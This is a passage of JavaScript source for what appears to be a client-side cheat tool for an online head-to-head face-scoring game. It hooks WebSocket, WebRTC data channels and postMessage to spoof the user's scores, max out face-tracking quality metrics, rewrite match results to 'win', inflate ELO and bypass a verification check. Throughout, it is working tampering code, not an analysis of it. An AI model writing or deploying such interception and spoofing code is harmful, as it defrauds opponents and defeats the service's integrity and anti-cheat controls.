for (let i = 0; i < modified.args.length; i++) {
if (typeof modified.args[i] === 'number' && modified.args[i] > 0.1 && modified.args[i] < 9999) { modified.args[i] = target; mod = true; }
if (typeof modified.args[i] === 'number' && modified.args[i] > 1000 && modified.args[i] < 99999999) { modified.args[i] = raw; mod = true; }
}
}
}
if (mod) {
logT('DC-HOOK', `patched ${method} frame`);
_lastSpoofedScore = target; spoofPanel();
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
}
}
// Inflate SCAN_STATE face metrics to make server compute higher score
if (json.type === 'SCAN_STATE' && (scoreSpoofAllowed() || CONFIG.verifBypassActive)) {
const modified = { ...json };
let scanPatched = false;
const targets = json.payload && typeof json.payload === 'object' ? json.payload : json;
const modTarget = targets === json ? modified : (modified.payload = { ...json.payload });
const TARGET_MAX_FIELDS = ['looking', 'attention', 'smile', 'smiling', 'mouthOpen', 'quality', 'confidence', 'readiness', 'engagement', 'focus', 'eyeContact', 'faceQuality', 'trackingQuality', 'detectionQuality', 'overall'];
function _isQKey(k) { return TARGET_MAX_FIELDS.includes(k) || k.toLowerCase().includes('qual') || k.toLowerCase().includes('conf') || k.toLowerCase().includes('smil') || k.toLowerCase().includes('look') || k.toLowerCase().includes('eye') || k.toLowerCase().includes('attention') || k.toLowerCase().includes('engagement'); }
for (const k of Object.keys(targets)) {
const v = targets[k];
if (typeof v === 'number' && v >= 0 && _isQKey(k) && v !== 1) {
if (targets === json) { modified[k] = 1.0; }
else { modified.payload[k] = 1.0; }
scanPatched = true;
}
}
if (scanPatched) {
logT('DC-HOOK', `patched SCAN_STATE metrics → 1.0`);
const cgjStr = _cgjEncode(modified);
return _realDcSend(new TextEncoder().encode(cgjStr));
}
}
// Diagnostic: log keys of every unmatched JSON frame (rate-limited)
if (json && Object.keys(json).length > 0) {
const keys = Object.keys(json).sort().join(',');
if (json.type !== 'SCAN_STATE') {
logT('DC-FRAME', `${keys}${json.score!==undefined ? ' score='+json.score : ''}${json.q!==undefined ? ' q='+json.q : ''}${json.s!==undefined ? ' s='+json.s : ''}`);
}
}
}
return _realDcSend(data);
};
dc.__cmHooked = true;
}
// DC spam disabled — causes conflicting frames for opponent. Use reactive patching only.
// setInterval(null, 50);
// Intercept data channel creation
const _rtcProto = (_window.RTCPeerConnection || RTCPeerConnection).prototype;
const _dcProto = (_window.RTCDataChannel || RTCDataChannel).prototype;
try {
const origCreateDC = _rtcProto.createDataChannel;
if (origCreateDC) {
_rtcProto.createDataChannel = function(label, options) {
const dc = origCreateDC.call(this, label, options);
_hookDataChannel(dc);
return dc;
};
}
} catch(e) {}
// Intercept ondatachannel
try {
const ondDesc = Object.getOwnPropertyDescriptor(_rtcProto, 'ondatachannel');
if (ondDesc && ondDesc.set) {
Object.defineProperty(_rtcProto, 'ondatachannel', {
set(fn) {
ondDesc.set.call(this, function(event) {
_hookDataChannel(event.channel);
return fn.call(this, event);
});
},
get: ondDesc.get
});
}
} catch(e) {}
// Intercept addEventListener('datachannel')
try {
const origAEL = _rtcProto.addEventListener;
if (origAEL) {
_rtcProto.addEventListener = function(type, listener, options) {
if (type === 'datachannel') {
const wrapped = function(event) {
_hookDataChannel(event.channel);
return listener.call(this, event);
};
return origAEL.call(this, type, wrapped, options);
}
return origAEL.call(this, type, listener, options);
};
}
} catch(e) {}
// Patch incoming DC frames — wraps onmessage + addEventListener to patch scores via _patchIncomingScore
function _makeDcIncomingWrapper(fn) {
return function(event) {
try {
const patched = _patchIncomingScore(event.data);
if (patched) {
return fn.call(this, _makePatchedEvent(event, patched));
}
} catch(e) {}
return fn.call(this, event);
};
}
try {
const inDesc = Object.getOwnPropertyDescriptor(_dcProto, 'onmessage');
if (inDesc) {
Object.defineProperty(_dcProto, 'onmessage', {
set(fn) {
inDesc.set.call(this, _makeDcIncomingWrapper(fn));
},
get: inDesc.get,
configurable: true
});
}
} catch(e) {}
try {
const origDcAEL = _dcProto.addEventListener;
if (origDcAEL) {
_dcProto.addEventListener = function(type, listener, options) {
if (type === 'message' && typeof listener === 'function') {
return origDcAEL.call(this, type, _makeDcIncomingWrapper(listener), options);
}
return origDcAEL.call(this, type, listener, options);
};
}
} catch(e) {}
// ── End of DC setup ──
// ── Incoming WebSocket message score patcher (intercepts server→client messages) ──
// dispatchEvent override doesn't work in V8 for native EventTarget.
// Instead, wrap addEventListener to intercept message handlers.
function _makePatchedEvent(event, patchedData) {
const ME = window.MessageEvent || _window.MessageEvent || (typeof MessageEvent !== 'undefined' ? MessageEvent : null);
if (!ME) {
// Last resort: manually construct a plain object (risky but better than null)
const e = { type: 'message', data: patchedData, origin: event.origin || '', lastEventId: event.lastEventId || '', ports: event.ports || [], source: event.source || null };
e.target = event.target; e.currentTarget = event.currentTarget;
return e;
}
const newEvent = new ME('message', {
data: patchedData,
origin: event.origin || '',
lastEventId: event.lastEventId || '',
ports: event.ports || [],
source: event.source || null
});
Object.defineProperty(newEvent, 'target', { value: event.target, configurable: true });
Object.defineProperty(newEvent, 'currentTarget', { value: event.currentTarget, configurable: true });
return newEvent;
}
try {
const _origWsAEL = _window.WebSocket.prototype.addEventListener;
if (_origWsAEL) {
_window.WebSocket.prototype.addEventListener = function(type, listener, options) {
if (type === 'message' && typeof listener === 'function') {
const wrapped = function(event) {
try {
const patched = _patchIncomingScore(event.data);
if (patched) {
return listener.call(this, _makePatchedEvent(event, patched));
}
} catch(e) {}
return listener.call(this, event);
};
return _origWsAEL.call(this, type, wrapped, options);
}
return _origWsAEL.call(this, type, listener, options);
};
log('[WS IN] addEventListener message patching active');
}
} catch(e) { log('[WS IN] hook error: ' + e.message); }
// ── WebSocket onmessage setter hook (catches ws.onmessage = handler) ──
try {
const _wsOnmessageDescriptor = Object.getOwnPropertyDescriptor(_window.WebSocket.prototype, 'onmessage');
if (_wsOnmessageDescriptor && _wsOnmessageDescriptor.set) {
const _origOnmessageSetter = _wsOnmessageDescriptor.set;
Object.defineProperty(_window.WebSocket.prototype, 'onmessage', {
configurable: true,
enumerable: true,
get: function() { return this._cm_onmessageHandler || null; },
set: function(handler) {
this._cm_onmessageHandler = handler;
if (typeof handler === 'function') {
const ws = this;
return _origOnmessageSetter.call(this, function(event) {
try {
const patched = _patchIncomingScore(event.data);
if (patched) {
return handler.call(ws, _makePatchedEvent(event, patched));
}
} catch(e) {}
return handler.call(ws, event);
});
}
return _origOnmessageSetter.call(this, handler);
}
});
log('[WS IN] onmessage setter hook active');
}
} catch(e) { log('[WS IN] onmessage hook error: ' + e.message); }
// ── postMessage hook (intercept + patch scores in worker/iframe communication) ──
let _pmLog = 0;
function _patchPostMsg(message) {
try {
if (typeof message !== 'object' || !message) return message;
const parsed = typeof message === 'string' ? JSON.parse(message) : message;
let mod = false;
if (scoreSpoofAllowed()) {
const target = _getTargetScore();
// Check known field names + any numeric field that looks like a score
for (const [k,v] of Object.entries(parsed)) {
if (typeof v === 'number' && v > 0.1 && v < 5000) {
parsed[k] = target; mod = true;
log(`[postMessage MOD] patched ${k}: ${v} → ${target}`);
} else if (typeof v === 'number' && v > 1000 && v < 99999999) {
parsed[k] = Math.round(target * 10000) + CONFIG.scoreBoost; mod = true;
log(`[postMessage MOD] patched raw ${k}: ${v} → ${parsed[k]}`);
} else if (typeof v === 'string' && /^\d+(\.\d+)?$/.test(v) && parseFloat(v) > 0.1 && parseFloat(v) < 11) {
parsed[k] = String(target); mod = true;
log(`[postMessage MOD] patched string ${k}: ${v} → ${parsed[k]}`);
}
}
if (parsed.payload && typeof parsed.payload === 'object') {
for (const [k,v] of Object.entries(parsed.payload)) {
if (typeof v === 'number' && v > 0.1 && v < 5000) { parsed.payload[k] = target; mod = true; log(`[postMessage MOD] patched payload.${k}`); }
}
}
// Override winner/result in postMessage
if (typeof parsed.winner === 'string') { parsed.winner = 'self'; mod = true; }
if (typeof parsed.result === 'string') { parsed.result = 'win'; mod = true; }
// Override p1/p2 in postMessage
if (typeof parsed.p1 === 'number' && typeof parsed.p2 === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
parsed[ourKey] = target;
mod = true;
}
}
// Diagnostic: log unknown messages that LOOK like score data
if (!mod && _pmLog++ < 30) {
const jsonStr = typeof message === 'string' ? message : JSON.stringify(message);
if (jsonStr && jsonStr.length < 1000) {
const keys = Object.keys(parsed).join(',');
logT('POST-MSG', `keys=[${keys}] ${jsonStr.substring(0, 200)}`);
}
}
if (mod) {
return typeof message === 'string' ? JSON.stringify(parsed) : parsed;
}
} catch(e) {}
return message;
}
try {
const _origPostMessage = _window.postMessage;
_window.postMessage = function(message, targetOrigin, transfer) {
return _origPostMessage.call(this, _patchPostMsg(message), targetOrigin, transfer);
};
log('[postMessage] window.postMessage hooked');
} catch(e) { log('[postMessage] hook error: ' + e.message); }
try {
if (_window.Worker) {
const _origWorkerSend = _window.Worker.prototype.postMessage;
_window.Worker.prototype.postMessage = function(message, options) {
return _origWorkerSend.call(this, _patchPostMsg(message), options);
};
log('[postMessage] Worker.postMessage hooked');
}
} catch(e) { log('[postMessage] Worker error: ' + e.message); }
try {
if (_window.MessagePort) {
const _origMpSend = _window.MessagePort.prototype.postMessage;
_window.MessagePort.prototype.postMessage = function(message, options) {
return _origMpSend.call(this, _patchPostMsg(message), options);
};
log('[postMessage] MessagePort.postMessage hooked');
}
} catch(e) { log('[postMessage] MessagePort error: ' + e.message); }
// ── WebSocket send hook (dual-prototype + score_update messages) ──
const _wsProtoCandidates = [WebSocket.prototype];
if (_window.WebSocket && _window.WebSocket.prototype !== WebSocket.prototype) {
_wsProtoCandidates.push(_window.WebSocket.prototype);
}
const _origWsSend = WebSocket.prototype.send;
function _wsSendHook(data, origSend) {
try {
if (typeof data === 'string') {
if (CONFIG.scoreEnabled) {
try {
const parsed = JSON.parse(data);
// Patch {p,q} frames
if (typeof parsed.p === 'number' && typeof parsed.q === 'number' && parsed.q > 0 && !parsed.type) {
if (_myPlayerIndex === null && (parsed.p === 0 || parsed.p === 1)) {
_myPlayerIndex = parsed.p;
_traceMatch('ws_pq_myPlayerIndex', { p: parsed.p });
}
// Only patch OUR score frames — don't inflate opponent's score on their screen
if (_myPlayerIndex !== null && parsed.p !== _myPlayerIndex) {
return origSend.call(this, data);
}
const target = _getTargetScore();
const oldQ = parsed.q;
parsed.q = Math.round(target * 10000) + CONFIG.scoreBoost;
parsed.s = Math.round(target * 10000) + CONFIG.scoreBoost;
_lastSpoofedScore = target;
spoofPanel();
_traceMatch('ws_pq_frame', { oldQ, newQ: parsed.q, target });
logT('WS-MOD', `patched p,q frame ${oldQ/10000} → ${parsed.q/10000}`);
const wsStr = _cgjEncode(parsed);
logT('CGJ', `p,q frame injected`);
return origSend.call(this, wsStr);
}
// Patch standalone 's' score field (user only, only when no p/q)
if (typeof parsed.s === 'number' && parsed.s > 0 && !parsed.q && !parsed.p && !parsed.type && !parsed.payload) {
const target = _getTargetScore();
const oldS = parsed.s;
parsed.s = parsed.s > 100 ? Math.round(target * 10000) + CONFIG.scoreBoost : target + (CONFIG.scoreBoost / 10000);
_lastSpoofedScore = target;
spoofPanel();
_traceMatch('ws_s_field', { oldS, newS: parsed.s, target });
logT('WS-MOD', `patched s field ${oldS} → ${parsed.s}`);
const wsStr = _cgjEncode(parsed);
logT('CGJ', `s field injected`);
return origSend.call(this, wsStr);
}
// Patch score_update messages (LiveKit / game protocol)
if (parsed.type === 'score_update' && parsed.payload && typeof parsed.payload.score === 'number') {
let boosted;
if (CONFIG.scoreMode === 'fixed') {
boosted = CONFIG.fixedScore / 10000;
} else {
boosted = _getTargetScore();
}
const oldScore = parsed.payload.score;
parsed.payload.score = boosted + (CONFIG.scoreBoost / 10000);
parsed.payload.overall = boosted + (CONFIG.scoreBoost / 10000);
_traceMatch('ws_score_update', { oldScore, newScore: parsed.payload.score, boosted });
logT('WS-MOD', `patched score_update ${oldScore} → ${parsed.payload.score}`);
const wsStr = _cgjEncode(parsed);
logT('CGJ', `score_update injected`);
return origSend.call(this, wsStr);
}
// Patch standalone score fields (no type, no p/q)
if (scoreSpoofAllowed() && typeof parsed.score === 'number' && !parsed.p && !parsed.q && parsed.score < 100) {
parsed.score = _getTargetScore();
logT('WS-MOD', `patched standalone score: ${parsed.score}`);
const wsStr = _cgjEncode(parsed);
logT('CGJ', `standalone score injected`);
return origSend.call(this, wsStr);
}
// Patch finalize fields
if (CONFIG.resultEnabled && !CONFIG.verifBypassActive && (data.includes('score') || data.includes('elo') || data.includes('final'))) {
const ft = _getFinalTarget();
const ff = ft / 10000;
let patched = false;
for (const field of ['myScore','selfScore','score','finalScore','totalScore','elo']) {
if (field in parsed) {
const old = parsed[field];
if (field === 'elo') {
const num = typeof old === 'number' ? old : parseInt(old) || 0;
parsed[field] = typeof old === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
patched = true;
} else if (typeof old === 'number') {
parsed[field] = (old > 100 ? ft : ff) + (old > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
patched = true;
} else if (typeof old === 'string') {
const num = parseInt(old) || 0;
parsed[field] = String(num > 100 ? ft + CONFIG.scoreBoost : ff + (CONFIG.scoreBoost / 10000));
patched = true;
}
}
}
// Patch p1/p2 (no underscore) in WS finalize
if (typeof parsed.p1 === 'number' && typeof parsed.p2 === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
const oldOurs = parsed[ourKey];
parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
logT('WS-FINALIZE', `${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
patched = true;
}
// Patch p1_score/p2_score: inflate only our score
if (typeof parsed.p1_score === 'number' && typeof parsed.p2_score === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1_score' : (_myPlayerIndex === 1 ? 'p2_score' : (parsed.p1_score >= parsed.p2_score ? 'p1_score' : 'p2_score'));
const oldOurs = parsed[ourKey];
parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
logT('WS-FINALIZE', `${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
patched = true;
}
// Override winner/result in WS finalize requests
if (parsed.winner !== undefined || parsed.result !== undefined) {
const origWinner = parsed.winner;
const origResult = parsed.result;
parsed.winner = 'self';
parsed.result = 'win';
logT('WS-FINALIZE', `winner: ${origWinner} → self, result: ${origResult} → win`);
patched = true;
}
if (patched) {
log('[WS FINALIZE] patched score fields (elo+scoreBoost)');
const wsStr = _cgjEncode(parsed);
logT('CGJ', `finalize fields injected`);
return origSend.call(this, wsStr);
}
}
} catch(e) {}
}
// Patch score_submit messages (modify ONLY self_score, not opponent_score)
try {
const p = JSON.parse(data);
if (p.type === 'score_submit' && p.payload && typeof p.payload === 'object') {
const target = _getTargetScore();
let subPatched = false;
if (typeof p.payload.self_score === 'number') {
_traceMatch('ws_score_submit', { original_self: p.payload.self_score, target, opponent: p.payload.opponent_score });
p.payload.self_score = target + (CONFIG.scoreBoost / 10000);
_lastSpoofedScore = target;
spoofPanel();
logT('WS-MOD', `patched score_submit.self_score: ${target}`);
subPatched = true;
}
for (const qf of ['quality', 'reliability', 'confidence', 'trust', 'valid']) {
if (typeof p.payload[qf] === 'number') {
const old = p.payload[qf];
p.payload[qf] = 1.0;
logT('WS-MOD', `score_submit ${qf}: ${old} → 1.0`);
subPatched = true;
}
}
if (subPatched) {
const wsStr = _cgjEncode(p);
logT('CGJ', `score_submit injected`);
return origSend.call(this, wsStr);
}
}
} catch(e) {}
// Inflate WS SCAN_STATE face metrics
try {
const p = JSON.parse(data);
if (p.type === 'SCAN_STATE' && (scoreSpoofAllowed() || CONFIG.verifBypassActive) && p.payload && typeof p.payload === 'object') {
let scanPatched = false;
const TARGET_MAX_FIELDS = ['looking', 'attention', 'smile', 'smiling', 'mouthOpen', 'quality', 'confidence', 'readiness', 'engagement', 'focus', 'eyeContact', 'faceQuality', 'trackingQuality', 'detectionQuality', 'overall'];
function _isQKey(k) { return TARGET_MAX_FIELDS.includes(k) || k.toLowerCase().includes('qual') || k.toLowerCase().includes('conf') || k.toLowerCase().includes('smil') || k.toLowerCase().includes('look') || k.toLowerCase().includes('eye') || k.toLowerCase().includes('attention') || k.toLowerCase().includes('engagement'); }
for (const k of Object.keys(p.payload)) {
const v = p.payload[k];
if (typeof v === 'number' && v >= 0 && _isQKey(k) && v !== 1) {
p.payload[k] = 1.0;
scanPatched = true;
}
}
if (scanPatched) {
logT('WS-MOD', `patched SCAN_STATE metrics → 1.0`);
const wsStr = _cgjEncode(p);
return origSend.call(this, wsStr);
}
}
} catch(e) {}
// Catch-all: patch WS text with omoggle method names
if (scoreSpoofAllowed()) {
try {
const parsed = JSON.parse(data);
const method = parsed.method || parsed.type || parsed.action || '';
const scoreMethods = ['setMyScore', 'setLiveScores', 'setScore', 'applyFinalScores', 'applyFinalScore', 'setFrameNonce', 'setFinalPayloads', 'setRankedResult'];
if (scoreMethods.includes(method) && !['score_update','SCAN_STATE','score_submit'].includes(parsed.type)) {
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
let mod = false;
if (typeof parsed.score === 'number') { parsed.score = target; mod = true; }
if (typeof parsed.overall === 'number') { parsed.overall = target; mod = true; }
if (parsed.payload && typeof parsed.payload === 'object') {
parsed.payload.overall = target; mod = true;
if (typeof parsed.payload.score === 'number' && !parsed.payload.self_score) { parsed.payload.score = target; mod = true; }
}
if (Array.isArray(parsed.args)) {
if (parsed.args.length >= 2 && parsed.args.length <= 3) {
const myScoreIdx = _myPlayerIndex !== null ? _myPlayerIndex : 0;
for (let i = 0; i < parsed.args.length; i++) {
if (i === myScoreIdx && typeof parsed.args[i] === 'number') {
if (parsed.args[i] > 0.1 && parsed.args[i] < 9999) { parsed.args[i] = target; mod = true; }
else if (parsed.args[i] > 1000 && parsed.args[i] < 99999999) { parsed.args[i] = raw; mod = true; }
}
}
} else {
for (let i = 0; i < parsed.args.length; i++) {
if (typeof parsed.args[i] === 'number' && parsed.args[i] > 0.1 && parsed.args[i] < 9999) { parsed.args[i] = target; mod = true; }
if (typeof parsed.args[i] === 'number' && parsed.args[i] > 1000 && parsed.args[i] < 99999999) { parsed.args[i] = raw; mod = true; }
}
}
}
if (mod) {
logT('WS-MOD', `patched ${method}`);
const wsStr = _cgjEncode(parsed);
logT('CGJ', `${method} injected`);
return origSend.call(this, wsStr);
}
}
} catch(e) {}
}
log('[WS OUT] ' + data.substring(0, 300));
} else if (data instanceof ArrayBuffer || data instanceof Uint8Array) {
const str = new TextDecoder().decode(data instanceof Uint8Array ? data : new Uint8Array(data));
const clean = str.replace(/[^\x20-\x7E]/g, '');
if (clean) {
if (scoreSpoofAllowed()) {
try {
const parsed = JSON.parse(clean);
if (typeof parsed.p === 'number' && typeof parsed.q === 'number' && parsed.q > 0 && !parsed.type) {
if (_myPlayerIndex === null && (parsed.p === 0 || parsed.p === 1)) {
_myPlayerIndex = parsed.p;
_traceMatch('ws_bin_pq_myPlayerIndex', { p: parsed.p });
}
// Only patch OUR score frames — don't inflate opponent's score on their screen
if (_myPlayerIndex !== null && parsed.p !== _myPlayerIndex) {
return origSend.call(this, data);
}
const target = _getTargetScore();
parsed.q = Math.round(target * 10000) + CONFIG.scoreBoost;
parsed.s = Math.round(target * 10000) + CONFIG.scoreBoost;
_lastSpoofedScore = target;
spoofPanel();
log('[WS MOD bin] patched p,q');
const wsStr = _cgjEncode(parsed);
log(`[WS CGJ bin] p,q injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
if (typeof parsed.s === 'number' && parsed.s > 0 && !parsed.p && !parsed.q && !parsed.type && !parsed.payload) {
const target = _getTargetScore();
parsed.s = parsed.s > 100 ? Math.round(target * 10000) + CONFIG.scoreBoost : target + (CONFIG.scoreBoost / 10000);
_lastSpoofedScore = target;
spoofPanel();
log('[WS MOD bin] patched s field');
const wsStr = _cgjEncode(parsed);
log(`[WS CGJ bin] s field injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
if (parsed.type === 'score_update' && parsed.payload && typeof parsed.payload.score === 'number') {
let boosted;
boosted = CONFIG.scoreMode === 'fixed' ? CONFIG.fixedScore / 10000 : _getTargetScore();
const oldScore = parsed.payload.score;
parsed.payload.score = boosted + (CONFIG.scoreBoost / 10000);
parsed.payload.overall = boosted + (CONFIG.scoreBoost / 10000);
_traceMatch('ws_bin_score_update', { oldScore, newScore: parsed.payload.score, boosted });
log(`[WS MOD bin] patched score_update ${oldScore} → ${parsed.payload.score}`);
const wsStr = _cgjEncode(parsed);
log(`[WS CGJ bin] score_update injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
} catch(e) {}
if (CONFIG.resultEnabled && !CONFIG.verifBypassActive && (clean.includes('score') || clean.includes('elo') || clean.includes('final'))) {
try {
const parsed = JSON.parse(clean);
const ft = _getFinalTarget();
const ff = ft / 10000;
let patched = false;
for (const field of ['myScore','selfScore','score','finalScore','totalScore','elo','s']) {
if (field in parsed) {
const old = parsed[field];
if (field === 'elo') {
const num = typeof old === 'number' ? old : parseInt(old) || 0;
parsed[field] = typeof old === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
patched = true;
} else if (typeof old === 'number') {
parsed[field] = (old > 100 ? ft : ff) + (old > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
patched = true;
} else if (typeof old === 'string') {
const num = parseInt(old) || 0;
parsed[field] = String(num > 100 ? ft + CONFIG.scoreBoost : ff + (CONFIG.scoreBoost / 10000));
patched = true;
}
}
}
// Patch p1/p2 (no underscore) in WS binary finalize
if (typeof parsed.p1 === 'number' && typeof parsed.p2 === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1' : (_myPlayerIndex === 1 ? 'p2' : 'p1');
const oldOurs = parsed[ourKey];
parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[WS FINALIZE bin] ${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
patched = true;
}
// Patch p1_score/p2_score: inflate only our score
if (typeof parsed.p1_score === 'number' && typeof parsed.p2_score === 'number') {
const ourKey = _myPlayerIndex === 0 ? 'p1_score' : (_myPlayerIndex === 1 ? 'p2_score' : (parsed.p1_score >= parsed.p2_score ? 'p1_score' : 'p2_score'));
const oldOurs = parsed[ourKey];
parsed[ourKey] = (oldOurs > 100 ? ft : ff) + (oldOurs > 100 ? CONFIG.scoreBoost : CONFIG.scoreBoost / 10000);
log(`[WS FINALIZE bin] ${ourKey}: ${oldOurs} → ${parsed[ourKey]}`);
patched = true;
}
// Override winner/result in WS binary finalize requests
if (parsed.winner !== undefined || parsed.result !== undefined) {
const origWinner = parsed.winner;
const origResult = parsed.result;
parsed.winner = 'self';
parsed.result = 'win';
log(`[WS FINALIZE bin] winner: ${origWinner} → self, result: ${origResult} → win`);
patched = true;
}
if (patched) {
log('[WS FINALIZE bin] patched');
const wsStr = _cgjEncode(parsed);
log(`[WS CGJ bin] finalize fields injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
} catch(e) {}
}
}
// Patch score_submit messages in binary too
if (clean.includes('score_submit')) {
try {
const parsed = JSON.parse(clean);
if (parsed.type === 'score_submit' && parsed.payload && typeof parsed.payload === 'object') {
const target = _getTargetScore();
if (typeof parsed.payload.self_score === 'number') {
const oldSelf = parsed.payload.self_score;
parsed.payload.self_score = target + (CONFIG.scoreBoost / 10000);
_lastSpoofedScore = target;
spoofPanel();
_traceMatch('ws_bin_score_submit', { oldSelf, newSelf: parsed.payload.self_score, opponent: parsed.payload.opponent_score });
log(`[WS MOD bin] patched score_submit.self_score ${oldSelf} → ${parsed.payload.self_score}`);
const wsStr = _cgjEncode(parsed);
log(`[WS CGJ bin] score_submit injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
}
} catch(e) {}
}
// Catch-all: patch WS binary with omoggle method names
try {
const parsed = JSON.parse(clean);
const method = parsed.method || parsed.type || parsed.action || '';
const scoreMethods = ['setMyScore', 'setLiveScores', 'setScore', 'applyFinalScores', 'applyFinalScore', 'setFrameNonce', 'setFinalPayloads', 'setRankedResult'];
if (scoreMethods.includes(method) && !['score_update','SCAN_STATE','score_submit'].includes(parsed.type)) {
const target = _getTargetScore();
const raw = Math.round(target * 10000) + (CONFIG.scoreBoost || 0);
let mod = false;
if (typeof parsed.score === 'number') { parsed.score = target; mod = true; }
if (typeof parsed.overall === 'number') { parsed.overall = target; mod = true; }
if (parsed.payload && typeof parsed.payload === 'object') {
parsed.payload.overall = target; mod = true;
if (typeof parsed.payload.score === 'number' && !parsed.payload.self_score) { parsed.payload.score = target; mod = true; }
}
if (Array.isArray(parsed.args)) {
if (parsed.args.length >= 2 && parsed.args.length <= 3) {
const myScoreIdx = _myPlayerIndex !== null ? _myPlayerIndex : 0;
for (let i = 0; i < parsed.args.length; i++) {
if (i === myScoreIdx && typeof parsed.args[i] === 'number') {
if (parsed.args[i] > 0.1 && parsed.args[i] < 9999) { parsed.args[i] = target; mod = true; }
else if (parsed.args[i] > 1000 && parsed.args[i] < 99999999) { parsed.args[i] = raw; mod = true; }
}
}
} else {
for (let i = 0; i < parsed.args.length; i++) {
if (typeof parsed.args[i] === 'number' && parsed.args[i] > 0.1 && parsed.args[i] < 9999) { parsed.args[i] = target; mod = true; }
if (typeof parsed.args[i] === 'number' && parsed.args[i] > 1000 && parsed.args[i] < 99999999) { parsed.args[i] = raw; mod = true; }
}
}
}
if (mod) {
log(`[WS MOD bin] patched ${method}`);
const wsStr = _cgjEncode(parsed);
log(`[WS CGJ bin] ${method} injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
}
} catch(e) {}
logT('WS-OUT', clean.substring(0, 200));
}
}
} catch(e) {}
// Universal ELO boost: scan any outbound message for ELO fields regardless of flags
try {
if (CONFIG.eloBoost > 0 && typeof data === 'string') {
const eparsed = JSON.parse(data);
let eMod = false;
for (const ef of ['elo','eloChange','e']) {
if (ef in eparsed) {
const ev = eparsed[ef];
const num = typeof ev === 'number' ? ev : parseInt(ev) || 0;
eparsed[ef] = typeof ev === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
eMod = true;
}
}
if (eparsed.u?.e !== undefined) {
eparsed.u.e = String((parseInt(eparsed.u.e) || 0) + CONFIG.eloBoost);
eMod = true;
}
if (eparsed.i?.e !== undefined) {
eparsed.i.e = String((parseInt(eparsed.i.e) || 0) + CONFIG.eloBoost);
eMod = true;
}
if (eMod) {
logT('WS-ELO', `boosted ELO fields by ${CONFIG.eloBoost}`);
const wsStr = _cgjEncode(eparsed);
logT('CGJ', `ELO univ injected`);
return origSend.call(this, wsStr);
}
} else if (CONFIG.eloBoost > 0 && (data instanceof ArrayBuffer || data instanceof Uint8Array)) {
const estr = new TextDecoder().decode(data instanceof Uint8Array ? data : new Uint8Array(data));
const eclean = estr.replace(/[^\x20-\x7E]/g, '');
if (eclean) {
const eparsed = JSON.parse(eclean);
let eMod = false;
for (const ef of ['elo','eloChange','e']) {
if (ef in eparsed) {
const ev = eparsed[ef];
const num = typeof ev === 'number' ? ev : parseInt(ev) || 0;
eparsed[ef] = typeof ev === 'number' ? num + CONFIG.eloBoost : String(num + CONFIG.eloBoost);
eMod = true;
}
}
if (eMod) {
log(`[WS ELO UNIV bin] boosted ELO fields by ${CONFIG.eloBoost}`);
const wsStr = _cgjEncode(eparsed);
log(`[WS CGJ bin] ELO univ injected`);
return origSend.call(this, new TextEncoder().encode(wsStr));
}
}
}
} catch(e) {}
return origSend.call(this, data);
}
for (const proto of _wsProtoCandidates) {
const orig = proto.send;
proto.send = function(data) { return _wsSendHook.call(this, data, orig); };
}
log('[WS] WebSocket.send hook active (dual-prototype + score_update)');
// Diagnose every new WebSocket connection
try {
const _origWsCtor = window.WebSocket;
window.WebSocket = function(url, protocols) {
log(`[WS NEW] ${url}`);
const ws = new _origWsCtor(url, protocols);
const _origSend2 = ws.send.bind(ws);
ws.send = function(data) { return _wsSendHook.call(ws, data, _origSend2); };
return ws;
};
window.WebSocket.prototype = _origWsCtor.prototype;
window.WebSocket.CONNECTING = 0; window.WebSocket.OPEN = 1; window.WebSocket.CLOSING = 2; window.WebSocket.CLOSED = 3;
} catch(e) { log('[WS] ctor hook error: ' + e.message); }
const FINALIZE_SCORE_FIELDS = [
'selfScore', 'selfScoreRaw',
'hostScore', 'actualScore', 'verifiedScore',
'serverScore', 'realFinalScore', 'clientScore',
'adjustedScore', 'finalScore',
'myFinalScore', 'score', 'elo',
'myScore', 'totalScore', 'matchScore',
'overall', 'overallScore', 's',
'currentScore', 'displayScore', 'liveScore',
'baseScore', 'netScore', 'effectiveScore',
'your_score', 'yourScore', 'userScore', 'playerScore'
];
const DEEP_SCORE_FIELDS = new Set([
...FINALIZE_SCORE_FIELDS.filter(f => f !== 'elo' && f !== 'eloChange'),
'p', 'q', 'your_score',
'scoreRaw', 'myScoreRaw', 'selfScoreRaw',
'p1_score', 'p2_score',
'finalScoreRaw', 'totalScoreRaw',
'overallRaw',
'final_target', 'scoreTarget',
'totalPoints', 'points', 'pts',
'correct', 'answers', 'answerRate',
'accuracy', 'percentage', 'percent',
'rawScore', 'bonusScore',
'scoreValue', 'maxScore',
'earned', 'final_total',
'finalP1Score', 'finalP2Score',
'p1Score', 'p2Score',
'p1', 'p2',
'winnerScore', 'resultScore',
'winner', 'result',
'adjustedScore',
]);
function _deepPatchScores(obj, path, finalTarget, finalFloat) {
